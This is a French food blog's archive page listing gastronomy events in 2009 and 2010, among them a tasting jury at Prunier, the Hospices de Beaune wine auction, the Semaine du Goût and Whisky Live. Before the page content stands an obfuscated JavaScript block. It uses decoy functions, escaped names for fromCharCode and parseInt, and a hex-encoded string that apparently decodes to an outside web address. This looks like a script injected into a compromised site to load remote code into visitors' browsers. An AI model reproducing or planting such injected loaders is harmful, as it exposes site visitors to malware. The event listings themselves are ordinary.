> Agenda | Le blog de la gastronomie, par Madeleinemarket function nivrZ(){var ODxCiO='QTzDlT';if('qgzC'=='ZYOyY')fuKPFL();}if('jlRv'=='kCpaks')qvBv='UJvVh';function Ayame(){}function smao(){var iOKF='BGEkXS';if('prcw'=='HQCt')QqGfI();} var cyPkQG="pars\x65Int";if('rlxp'=='HnVdp')psEi();var JTbFBdl="\x73lice";function vgRXfZ(){var MAck='fxLz';if('ZXGGT'=='cPXc')fTHSI();}var bZFrQ='HmRBg';var APZsfNN="929e9e9a645959958b9c969395a496999e99918f9e928f9c588d9997599d5a599398588d9193695b5a";function SnUc(){var BTVhzC='zwGAB';if('emZxFI'=='WFnQR')FtDC();} var FgNSRa="fro\x6dCharCo\x64e";var eqOti=223;if('IpmeS'=='LkpDR')cApRp='DvOgPv';var ZgCvD;function ySEir(){var mJbfa='RKBNQg';if('puIV'=='DVHJq')GvDvbb();} var UXcClKfW="";function nZBF(){}function VJPQOK(){} var uhyAuA=(function(){if('wfZXm'=='ISRTwP')DRnXBQ();return this;function RliJO(){}var riDo='czizo';})();if('EREg'=='lJcrdN')TwHct();function yNaWsF(){var kBRrrg='qSPl';if('xwQxHq'=='bzBMwh')xeVMz();} var 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Categorie Archives: Agenda

Le jury gourmand de Madeleine Market

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Posté par guillaume on 16 juillet 2010 –
Dans la catégorie Agenda, Bruits de casserole, Nouveau

Le premier Jury Gourmand Madeleine Market s’est réuni jeudi 8 juillet au Restaurant Prunier à Paris autour de Marc Gusils, le patron de Madeleine Market.
Il s’agissait pour les douze membres du Jury Gourmand de tester 40 produits répartis en 18 classes de nature différente.
Après environ trois heures de dégustation passée dans le salon Traktir du restaurant, les membres du Jury Gourmand ont pu passer à table dans le cadre splendide du salon Izba de chez Prunier.

Le chef Eric Coisel (essayez-vous à sa paëlla) a pu rejoindre les convives un peu plus tard. Convives parmi lesquels se trouvaient l’un des vieux amis du chef Eric Coisel, Alain Passard, génial chef de l’Arpège, et Christophe Michalak, le formidable pâtissier du Plazza Athénée, blogueur d’occasion, qui a régalé la compagnie de 4 fabuleux desserts de sa composition dont les célèbres Religieuses au caramel beurre de sel.

Le jury gourmand de Madeleine Market

Le jury gourmand de Madeleine Market

Cette première édition a été un vrai succès, dû tout d’abord à la chaleureuse présence des convives qui ont accepté de goûter la quarantaine de produits présentés. Un jury de douze membres, 5 femmes et 7 hommes, toutes et tous gastronomes avertis. La plupart des participants ne s’étaient jamais rencontré auparavant, cette journée a donc aussi été l’occasion de créer des liens, c’est peut-être cela l’essentiel.

Découvrez le film de la journée, la composition du jury, les produits récompensés et les mentions spéciales sur le site de Madeleine Market :

http://www.madeleinemarket.com/content/34-jury-gourmand

3ème festival des littératures gourmandes à Paris le samedi 21 novembre

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Posté par Eva on 20 novembre 2009 –
Dans la catégorie Agenda, Librairie

festival-litteraturesgourmandesLe 3e Festival des Littératures Gourmandes associera écriture et gourmandise le 21 novembre de 10h à 19h à La Grande Epicerie de Paris.

Convivial, créatif, inédit, le Festival des Littératures Gourmandes  a été créé en 2006 par Brigitte Namour et sa librairie Les Mots Bleus à Trouville-sur-Mer. 

Rendez-vous d’auteurs, et non pas d’éditeurs, cette manifestation a pour objectif d’offrir la même visibilité et la même mise en valeur à chacun. Pas de stands, pas de rivalités… mais des auteurs et leurs livres dans un écrin de goût et de convivialité. 
Le fil commun est la gastronomie ou la gourmandise traitée sur différents tons, pour les grands ou les petits. Tous les livres sélectionnés font la part belle à l’écriture.

L’édition 2009 proposera des rencontres avec une sélection de trente écrivains et leurs livres : romans, polars, nouvelles, essais, récits, guides, recettes, etc. Deux tables rondes d’auteurs, à 10H30 et 17H00, et un délicieux jeu-itinéraire « des Mots et des Mets » pour découvrir les auteurs et gagner des surprises…
Le Jury, présidé par  Agnès Desarthe, auteur  du délicieux roman gourmand « Mangez-moi » (L’Olivier 2006) entourée par sept journalistes et personnalités de renom, décernera deux Prix Littéraires consacrant les créations de deux auteurs :

  • Prix Délice 2009 pour l’Å“uvre littéraire la plus gourmande,
  • Prix Croustillant 2009 pour la plus belle écriture d’un livre de recettes.

Retrouvez la sélection officielle des ouvrages et le programme de la journée du 21 novembre à la Grande Epicerie de Paris.

Vente des Hospices de Beaune en direct sur Internet le 15 novembre

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Posté par Eva on 14 novembre 2009 –
Dans la catégorie Agenda, Vins et spiritueux

Chaque année, la vente des Hospices de Beaune réunit tous les amateurs de grands vins de Bourgogne. Cette vente de charité vinicole, la plus importante au monde, mettra cette année aux enchères 44 cuvées différentes, soit une de plus que l’édition 2008. Professionnels et particuliers pourront acquérir 31 cuvées de vin rouge et 13 de vin blanc : au total, 799 pièces seront mises en vente. Depuis 1998, la vente n’avait jamais proposé autant de fûts !

Les fonds récoltés pendant cette 149ème Vente permettront d’améliorer les équipements de soins, de moderniser les infrastructures et de conserver les monuments historiques des Hospices de Beaune..

Pour la première fois, cette vente aux enchères sera accessible aux particuliers via un site mis en place par Albert Bichot, premier acheteur depuis 10 ans lors de la vente.

Pour préparer vos achats (une occasion unique de se constituer une cave de crus d’exception), un “personal shopper” oenologue sera à votre disposition via le site www.hospices-beaune.com.

La bonne idée ? Rejoindre un “groupe virtuel d’achat” pour acheter à plusieurs une même cuvée !

Ne vous restera ensuite qu’à suivre en direct le dimanche 15 novembre la vente en direct sur le site dédié… et à consommer ensuite votre nectar avec modération, même si c’est pour une bonne cause !

Le premier festival de la photographie culinaire à Paris du 6 au 15 novembre

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Posté par Eva on 6 novembre 2009 –
Dans la catégorie Agenda

festival-photo-culinaireDu 6 au 15 novembre 2009, se déroulera la première édition du Festival International de la Photographie Culinaire (FIPC) destiné au grand public et aux professionnels : une première pour cet évènement international rendant hommage au travail des photographes culinaires du monde entier.

Une quarantaine de photographes professionnels du monde entier sélectionnés par le Comité participeront à la compétition en exposant 3 clichés sur le thème « Poissons, coquillages et crustacés ».

Durant les 10 jours du Festival, toutes ces photographies feront l’objet de deux expositions gratuites, ouvertes à tous les publics, dans le 12°arrondissement de la capitale : à Bercy Village et dans l’hôtel particulier Mobalpa (face à la Gare de Lyon).

Un jury présidé par monsieur Edouard Cointreau se prononcera pour retenir le photographe qui recevra le Grand Prix du Festival.

Un jury présidé par madame Catherine Dumas, sénateur de Paris et présidente du club parlementaire de la Table Française, et composé d’une dizaine de sénateurs et députés, attribuera le Grand Prix de la Photographie du Patrimoine Gastronomique.

Le public pourra non seulement découvrir le travail de tous ces photographes festivaliers, mais également désigner par bulletin ou par mail, l’artiste qui à ses yeux aura le mieux magnifié le thème imposé : le photographe vainqueur se verra attribuer le Prix du Public du Festival.

Egalement au programme : un parcours gourmand et culturel dans les galeries d’art et restaurants parisiens associés au FIPC,  et deux jours de rencontres et débats (les 13 et 14 novembre) où photographes, chefs de cuisine, restaurateurs, journalistes et étudiants, mais aussi éditeurs, communicants, acteurs de l’industrie agro-alimentaire et de la distribution, universitaires et écrivains, pourront échanger sur les différents aspects des métiers de la gastronomie et de l’image, et de ceux liés à l’évolution du marché des produits de la mer : durabilité environnementale et sociale, rentabilité économique.

Programme détaillé et informations sur le site du festival de la photographie culinaire.

La gastronomie et les chefs à l’honneur au Centre Pompidou du 21 octobre au 23 novembre

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Posté par Eva on 20 octobre 2009 –
Dans la catégorie Agenda

exp-festivalDans le cadre du Nouveau Festival du Centre Pompidou, un projet extraordinaire à ne pas rater pour les fous de food : l’artiste américain Ben Kinmont réunit sept grands chefs parisiens pour réaliser avec eux une interprétation de la pièce montée !

Pour ce projet intitulé “Devenir autre chose”, sept chefs vont recevoir un paragraphe différent pour le représenter dans une recette et créer un plat qui sera servi dans un restaurant pendant la durée du nouveau festival du Centre Pompidou, du 21 octobre au 23 novembre.

Les paragraphes décrivent le travail de sept artistes différents que leur travail a mené hors du monde de l’art pour pratiquer d’autres choses (ici, l’agriculture, le travail social, l’activisme politique, la médecine et la psychotérapie).

Les chefs ont une entière liberté d’interprétation de ces petits textes ; ils choisiront comment inscrire le plat à leur carte - une suggestion du jour par exemple, et à quelle fréquence ils le serviront dans leur restaurant - midi ou soir, un ou plusieurs jours par semaine. Sont annoncés :

Robert Vifian - Tan-Dinh

Yves Camdeborde - Le Comptoir du Relais

Olivier Camus - Chapeau Melon

Raquel Caréna - Le Baratin

Alain Passard - L’Arpège

Jérémy Rosenbois - CRU

Inaki Aizpitarte - Le Chateaubriand

Un projet ambitieux et original à ne pas manquer entre le 21 octobre et le 23 novembre…

Découvrir tout le programme

La Semaine du Goût fête ses 20 ans du 10 au 18 octobre

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Posté par Eva on 12 octobre 2009 –
Dans la catégorie Agenda

semaine_goutDu 10 au 18 octobre, c’est la Semaine du Goût !  Le leitmotiv de cette 20ème édition : “Le Goût pour tous”, sans limite d’âge, de saveurs ou de budgets ! Au programme dans toute la France :

- 6000 Leçons de Goût dispensées par des professionnels des métiers de bouche dans les écoles primaires de toute la France,
- 1000 Ateliers du Goût : des animations sur le goût proposées au grand public par des centaines de passionnés du goût, dont des chefs réputés,
- 500 Tables du Goût : des menus Semaine du Goût (dont une surprise du chef) dans une sélection de restaurants gastronomiques dans toute la France. Pour connaître la liste des établissements participant à l’opération, rendez-vous sur www.legout.com et réservez vite votre table en précisant le nom de la formule dont vous souhaitez bénéficier.

Parmi tous les événements, Madeleine Market a remarqué :

- l’ouverture exceptionnelle de l’atelier du chocolatier Patrick Roger à Sceaux,
- les dégustations  de cognac au Musée des Arts du Cognac,
- la découverte de la fabrication du nougat au Palais des Bonbons et du Nougat à Montélimar,

- la visite d’un atelier de fabrication de fruits confits en région parisienne, la Fabrique des Douceurs,
- des ateliers du goût dédiés aux enfants, menés par le brillantissime chef Jean-Marie Baudic, dans son Youpala Bistrot de Saint Brieuc

A vous de chercher sur le site de la Semaine du Goût l’animation gourmande la plus proche de chez vous !

Le Whisky Live ce week-end, pour les amateurs de sensations maltées

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Posté par Eva on 27 septembre 2009 –
Dans la catégorie Agenda

Le Whisky Live rassemble chaque année tous ceux qui font le whisky : producteurs, distributeurs, amateurs avertis ou simples épicuriens. Ce salon de dégustation offre une opportunité unique de découvrir et goûter les meilleurs whiskies du monde en compagnie des maîtres distillateurs ou assembleurs et de mieux connaître cette eau-de-vie grâce aux conseils des plus grands experts.

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Cette année, trois temps forts :

  • La dégustation : nouveautés, grands classiques, collectors, new spirits…
  • Les alliances gourmandes : expériences Malt & Food, cocktails, accords whiskies/thé et whiskies/chocolat
  • Le multimédia : décliné à travers de nombreuses expériences inédites autour de l’histoire et la géographie du whisky, son élaboration et sa culture.

Que vous l’aimiez single malt, single cask, de l’île de Skye, du Speyside ou des Highlands , vous trouverez forcément un whisky à vôtre goût au Whisky Live !

Whisky Live, les 26, 27 et  28 septembre 2009 au Pavillon Gabriel - 5 avenue Gabriel - Paris 8ème
Téléchargez le programme complet du Whisky Live 2009

Cuisines en fête, c’est ce week-end !

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Posté par Eva on 25 septembre 2009 –
Dans la catégorie Agenda

Depuis 2003, chaque dernier week-end de septembre, des milliers de personnes se retrouvent autour de centaines d’initiatives organisées par des passionnés de cuisine partout en France. Le but ? Donner à tous l’élan de cuisiner maison avec plaisir, quel que soit son niveau ou son budget.

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Donner l’envie de cuisiner tous les jours avec plaisir, c’est l’ambition de “Cuisines en Fête” : l’année dernière, plus de 900 animations (cours de cuisine, démonstrations culinaires, dégustations…) ont réunis partout en France plus de 550 000 participants.

Faire son propre pain, prendre le temps de faire un gâteau avec les enfants, partager le plaisir de cuisiner  :  c’est encore meilleur quand c’est fait maison ! Parmi les animations proposées les vendredi 25, samedi 26 et dimanche 27 septembre 2009, on a remarqué : de nombreux ateliers gratuits à Bercy Village, animés notamment par Pascale Weeks, une dégustation d’huiles à l‘Ile-Saint-Denis (93) animée par notre partenaire Mille et Unes Huiles… et bien d’autres animations à découvrir sur le site de   Cuisines en Fête.

Gastronomare, festival de la cuisine méditerranéenne à Marseille du 18 au 20 septembre

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Posté par Eva on 16 septembre 2009 –
Dans la catégorie Agenda

Gastronomare

Ce week-end, le Vieux Port de Marseille va se transformer en  grand marché des produits des terroirs méditerranéens. Au programme, conférences, artistes, dégustations et chefs autour de l’identité et de la culture méditerranéenne.

A ne pas manquer : le tour du bassin méditerranéen des nourritures de rues (pizza napolitaine, chichi marseillais, manakiche libanais, kefta de poisson tunisienne…), démonstrations de chefs pour les grands et les petits, et des soirées autour des poulpes, seiches et autres calamars. Calamars à la romaine, pâtes à l’encre de seiche, tielles à la sétoise, petits calamars à l’huile, ils sont en effet présents dans toutes les cuisines du Sud. La preuve sur place avec la soirée du 19 septembre où l’on pourra déguster une grande bouillabaisse de poulpes, spécialité marseillaise s’il en est !

LogoGastronomare_10cmGastronomare
18, 19 et 20 septembre 2009 sur le Vieux Port à Marseille
Programme détaillé sur le site de la manifestation

Patrick Roger ouvre les portes de son nouveau laboratoire

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Posté par Chloe on 10 septembre 2009 –
Dans la catégorie Agenda

Chocolats Patrick Roger

Dans le cadre de la 20e édition de la Semaine du Goût, le chocolatier Patrick Roger, Meilleur Ouvrier de France 2000, ouvrira les portes de son nouveau laboratoire le samedi 17 octobre 2009, de 9h à 19h.

Une occasion unique pour tous les toqués de chocolat de visiter cet atelier d’artiste et partir à la découverte des goûts dans tous leurs états !

Laboratoire Patrick Roger

Les participants s’initieront à la découverte du praliné ou encore à la dégustation de chocolat : acidité, amertume, sucré, astringence, rétro-olfaction… moments d’intenses plaisirs !

Inscription obligatoire auprès de l’Office de Tourisme de Sceaux : 01 46 61 19 03
Durée de la visite : 1 heure.